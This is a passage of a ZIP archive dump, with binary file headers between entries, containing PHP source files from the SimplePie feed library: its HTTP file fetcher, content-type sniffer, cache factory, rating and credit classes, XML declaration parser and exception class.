@todo Move to properly supporting RFC2616 (HTTP/1.1) */ class SimplePie_File { var $url; var $useragent; var $success = true; var $headers = array(); var $body; var $status_code; var $redirects = 0; var $error; var $method = SIMPLEPIE_FILE_SOURCE_NONE; public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false) { if (class_exists('idna_convert')) { $idn = new idna_convert(); $parsed = SimplePie_Misc::parse_url($url); $url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); } $this->url = $url; $this->useragent = $useragent; if (preg_match('/^http(s)?:\/\//i', $url)) { if ($useragent === null) { $useragent = ini_get('user_agent'); $this->useragent = $useragent; } if (!is_array($headers)) { $headers = array(); } if (!$force_fsockopen && function_exists('curl_exec')) { $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL; $fp = curl_init(); $headers2 = array(); foreach ($headers as $key => $value) { $headers2[] = "$key: $value"; } if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>=')) { curl_setopt($fp, CURLOPT_ENCODING, ''); } curl_setopt($fp, CURLOPT_URL, $url); curl_setopt($fp, CURLOPT_HEADER, 1); curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1); curl_setopt($fp, CURLOPT_TIMEOUT, $timeout); curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($fp, CURLOPT_REFERER, $url); curl_setopt($fp, CURLOPT_USERAGENT, $useragent); curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2); if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>=')) { curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects); } $this->headers = curl_exec($fp); if (curl_errno($fp) === 23 || curl_errno($fp) === 61) { curl_setopt($fp, CURLOPT_ENCODING, 'none'); $this->headers = curl_exec($fp); } if (curl_errno($fp)) { $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp); $this->success = false; } else { $info = curl_getinfo($fp); curl_close($fp); $this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1); $this->headers = array_pop($this->headers); $parser = new SimplePie_HTTP_Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = $parser->body; $this->status_code = $parser->status_code; if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen); } } } } else { $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN; $url_parts = parse_url($url); $socket_host = $url_parts['host']; if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { $socket_host = "ssl://$url_parts[host]"; $url_parts['port'] = 443; } if (!isset($url_parts['port'])) { $url_parts['port'] = 80; } $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout); if (!$fp) { $this->error = 'fsockopen error: ' . $errstr; $this->success = false; } else { stream_set_timeout($fp, $timeout); if (isset($url_parts['path'])) { if (isset($url_parts['query'])) { $get = "$url_parts[path]?$url_parts[query]"; } else { $get = $url_parts['path']; } } else { $get = '/'; } $out = "GET $get HTTP/1.1\r\n"; $out .= "Host: $url_parts[host]\r\n"; $out .= "User-Agent: $useragent\r\n"; if (extension_loaded('zlib')) { $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n"; } if (isset($url_parts['user']) && isset($url_parts['pass'])) { $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n"; } foreach ($headers as $key => $value) { $out .= "$key: $value\r\n"; } $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $info = stream_get_meta_data($fp); $this->headers = ''; while (!$info['eof'] && !$info['timed_out']) { $this->headers .= fread($fp, 1160); $info = stream_get_meta_data($fp); } if (!$info['timed_out']) { $parser = new SimplePie_HTTP_Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = $parser->body; $this->status_code = $parser->status_code; if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen); } if (isset($this->headers['content-encoding'])) { // Hey, we act dumb elsewhere, so let's do that here too switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20"))) { case 'gzip': case 'x-gzip': $decoder = new SimplePie_gzdecode($this->body); if (!$decoder->parse()) { $this->error = 'Unable to decode HTTP "gzip" stream'; $this->success = false; } else { $this->body = $decoder->data; } break; case 'deflate': if (($decompressed = gzinflate($this->body)) !== false) { $this->body = $decompressed; } else if (($decompressed = gzuncompress($this->body)) !== false) { $this->body = $decompressed; } else if (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false) { $this->body = $decompressed; } else { $this->error = 'Unable to decode HTTP "deflate" stream'; $this->success = false; } break; default: $this->error = 'Unknown content coding'; $this->success = false; } } } } else { $this->error = 'fsocket timed out'; $this->success = false; } fclose($fp); } } } else { $this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS; if (!$this->body = file_get_contents($url)) { $this->error = 'file_get_contents could not read the file'; $this->success = false; } } } } PKÜ�\�^j��Evendor/simplepie/simplepie/library/SimplePie/Content/Type/Sniffer.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Content-type sniffing * * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06 * * This is used since we can't always trust Content-Type headers, and is based * upon the HTML5 parsing rules. * * * This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()} * * @package SimplePie * @subpackage HTTP */ class SimplePie_Content_Type_Sniffer { /** * File object * * @var SimplePie_File */ var $file; /** * Create an instance of the class with the input file * * @param SimplePie_Content_Type_Sniffer $file Input file */ public function __construct($file) { $this->file = $file; } /** * Get the Content-Type of the specified file * * @return string Actual Content-Type */ public function get_type() { if (isset($this->file->headers['content-type'])) { if (!isset($this->file->headers['content-encoding']) && ($this->file->headers['content-type'] === 'text/plain' || $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=UTF-8')) { return $this->text_or_binary(); } if (($pos = strpos($this->file->headers['content-type'], ';')) !== false) { $official = substr($this->file->headers['content-type'], 0, $pos); } else { $official = $this->file->headers['content-type']; } $official = trim(strtolower($official)); if ($official === 'unknown/unknown' || $official === 'application/unknown') { return $this->unknown(); } elseif (substr($official, -4) === '+xml' || $official === 'text/xml' || $official === 'application/xml') { return $official; } elseif (substr($official, 0, 6) === 'image/') { if ($return = $this->image()) { return $return; } else { return $official; } } elseif ($official === 'text/html') { return $this->feed_or_html(); } else { return $official; } } else { return $this->unknown(); } } /** * Sniff text or binary * * @return string Actual Content-Type */ public function text_or_binary() { if (substr($this->file->body, 0, 2) === "\xFE\xFF" || substr($this->file->body, 0, 2) === "\xFF\xFE" || substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF" || substr($this->file->body, 0, 3) === "\xEF\xBB\xBF") { return 'text/plain'; } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) { return 'application/octect-stream'; } else { return 'text/plain'; } } /** * Sniff unknown * * @return string Actual Content-Type */ public function unknown() { $ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20"); if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html' || strtolower(substr($this->file->body, $ws, 5)) === '<html' || strtolower(substr($this->file->body, $ws, 7)) === '<script') { return 'text/html'; } elseif (substr($this->file->body, 0, 5) === '%PDF-') { return 'application/pdf'; } elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-') { return 'application/postscript'; } elseif (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } else { return $this->text_or_binary(); } } /** * Sniff images * * @return string Actual Content-Type */ public function image() { if (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } else { return false; } } /** * Sniff HTML * * @return string Actual Content-Type */ public function feed_or_html() { $len = strlen($this->file->body); $pos = strspn($this->file->body, "\x09\x0A\x0D\x20"); while ($pos < $len) { switch ($this->file->body[$pos]) { case "\x09": case "\x0A": case "\x0D": case "\x20": $pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos); continue 2; case '<': $pos++; break; default: return 'text/html'; } if (substr($this->file->body, $pos, 3) === '!--') { $pos += 3; if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false) { $pos += 3; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '!') { if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false) { $pos++; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '?') { if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false) { $pos += 2; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 3) === 'rss' || substr($this->file->body, $pos, 7) === 'rdf:RDF') { return 'application/rss+xml'; } elseif (substr($this->file->body, $pos, 4) === 'feed') { return 'application/atom+xml'; } else { return 'text/html'; } } return 'text/html'; } } PKÜ�\����6vendor/simplepie/simplepie/library/SimplePie/Cache.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used to create cache objects * * This class can be overloaded with {@see SimplePie::set_cache_class()}, * although the preferred way is to create your own handler * via {@see register()} * * @package SimplePie * @subpackage Caching */ class SimplePie_Cache { /** * Cache handler classes * * These receive 3 parameters to their constructor, as documented in * {@see register()} * @var array */ protected static $handlers = array( 'mysql' => 'SimplePie_Cache_MySQL', 'memcache' => 'SimplePie_Cache_Memcache', ); /** * Don't call the constructor. Please. */ private function __construct() { } /** * Create a new SimplePie_Cache object * * @param string $location URL location (scheme is used to determine handler) * @param string $filename Unique identifier for cache object * @param string $extension 'spi' or 'spc' * @return SimplePie_Cache_Base Type of object depends on scheme of `$location` */ public static function get_handler($location, $filename, $extension) { $type = explode(':', $location, 2); $type = $type[0]; if (!empty(self::$handlers[$type])) { $class = self::$handlers[$type]; return new $class($location, $filename, $extension); } return new SimplePie_Cache_File($location, $filename, $extension); } /** * Create a new SimplePie_Cache object * * @deprecated Use {@see get_handler} instead */ public function create($location, $filename, $extension) { trigger_error('Cache::create() has been replaced with Cache::get_handler(). Switch to the registry system to use this.', E_USER_DEPRECATED); return self::get_handler($location, $filename, $extension); } /** * Register a handler * * @param string $type DSN type to register for * @param string $class Name of handler class. Must implement SimplePie_Cache_Base */ public static function register($type, $class) { self::$handlers[$type] = $class; } /** * Parse a URL into an array * * @param string $url * @return array */ public static function parse_URL($url) { $params = parse_url($url); $params['extras'] = array(); if (isset($params['query'])) { parse_str($params['query'], $params['extras']); } return $params; } } PKÜ�\�y�i i 7vendor/simplepie/simplepie/library/SimplePie/Rating.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively * * Used by {@see SimplePie_Enclosure::get_rating()} and {@see SimplePie_Enclosure::get_ratings()} * * This class can be overloaded with {@see SimplePie::set_rating_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Rating { /** * Rating scheme * * @var string * @see get_scheme() */ var $scheme; /** * Rating value * * @var string * @see get_value() */ var $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($scheme = null, $value = null) { $this->scheme = $scheme; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the organizational scheme for the rating * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } else { return null; } } /** * Get the value of the rating * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } else { return null; } } } PKÜ�\���ww7vendor/simplepie/simplepie/library/SimplePie/Credit.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:credit>` as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_credit()} and {@see SimplePie_Enclosure::get_credits()} * * This class can be overloaded with {@see SimplePie::set_credit_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Credit { /** * Credited role * * @var string * @see get_role() */ var $role; /** * Organizational scheme * * @var string * @see get_scheme() */ var $scheme; /** * Credited name * * @var string * @see get_name() */ var $name; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($role = null, $scheme = null, $name = null) { $this->role = $role; $this->scheme = $scheme; $this->name = $name; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the role of the person receiving credit * * @return string|null */ public function get_role() { if ($this->role !== null) { return $this->role; } else { return null; } } /** * Get the organizational scheme * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } else { return null; } } /** * Get the credited person/entity's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } else { return null; } } } PKÜ�\e2�e��Gvendor/simplepie/simplepie/library/SimplePie/XML/Declaration/Parser.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Parses the XML Declaration * * @package SimplePie * @subpackage Parsing */ class SimplePie_XML_Declaration_Parser { /** * XML Version * * @access public * @var string */ var $version = '1.0'; /** * Encoding * * @access public * @var string */ var $encoding = 'UTF-8'; /** * Standalone * * @access public * @var bool */ var $standalone = false; /** * Current state of the state machine * * @access private * @var string */ var $state = 'before_version_name'; /** * Input data * * @access private * @var string */ var $data = ''; /** * Input data length (to avoid calling strlen() everytime this is needed) * * @access private * @var int */ var $data_length = 0; /** * Current position of the pointer * * @var int * @access private */ var $position = 0; /** * Create an instance of the class with the input data * * @access public * @param string $data Input data */ public function __construct($data) { $this->data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @access public * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== 'emit' && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === 'emit') { return true; } else { $this->version = ''; $this->encoding = ''; $this->standalone = ''; return false; } } /** * Check whether there is data beyond the pointer * * @access private * @return bool true if there is further data, false if not */ public function has_data() { return (bool) ($this->position < $this->data_length); } /** * Advance past any whitespace * * @return int Number of whitespace characters passed */ public function skip_whitespace() { $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position); $this->position += $whitespace; return $whitespace; } /** * Read value */ public function get_value() { $quote = substr($this->data, $this->position, 1); if ($quote === '"' || $quote === "'") { $this->position++; $len = strcspn($this->data, $quote, $this->position); if ($this->has_data()) { $value = substr($this->data, $this->position, $len); $this->position += $len + 1; return $value; } } return false; } public function before_version_name() { if ($this->skip_whitespace()) { $this->state = 'version_name'; } else { $this->state = false; } } public function version_name() { if (substr($this->data, $this->position, 7) === 'version') { $this->position += 7; $this->skip_whitespace(); $this->state = 'version_equals'; } else { $this->state = false; } } public function version_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'version_value'; } else { $this->state = false; } } public function version_value() { if ($this->version = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = 'encoding_name'; } else { $this->state = 'emit'; } } else { $this->state = false; } } public function encoding_name() { if (substr($this->data, $this->position, 8) === 'encoding') { $this->position += 8; $this->skip_whitespace(); $this->state = 'encoding_equals'; } else { $this->state = 'standalone_name'; } } public function encoding_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'encoding_value'; } else { $this->state = false; } } public function encoding_value() { if ($this->encoding = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = 'standalone_name'; } else { $this->state = 'emit'; } } else { $this->state = false; } } public function standalone_name() { if (substr($this->data, $this->position, 10) === 'standalone') { $this->position += 10; $this->skip_whitespace(); $this->state = 'standalone_equals'; } else { $this->state = false; } } public function standalone_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = 'standalone_value'; } else { $this->state = false; } } public function standalone_value() { if ($standalone = $this->get_value()) { switch ($standalone) { case 'yes': $this->standalone = true; break; case 'no': $this->standalone = false; break; default: $this->state = false; return; } $this->skip_whitespace(); if ($this->has_data()) { $this->state = false; } else { $this->state = 'emit'; } } else { $this->state = false; } } } PKÜ�\s�����:vendor/simplepie/simplepie/library/SimplePie/Exception.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.4-dev * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * General SimplePie exception class * * @package SimplePie */ class SimplePie_Exception extends Exception { }PKÜ�\�]q$9.9.7vendor/simplepie/simplepie/library/SimplePie/Parser.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation 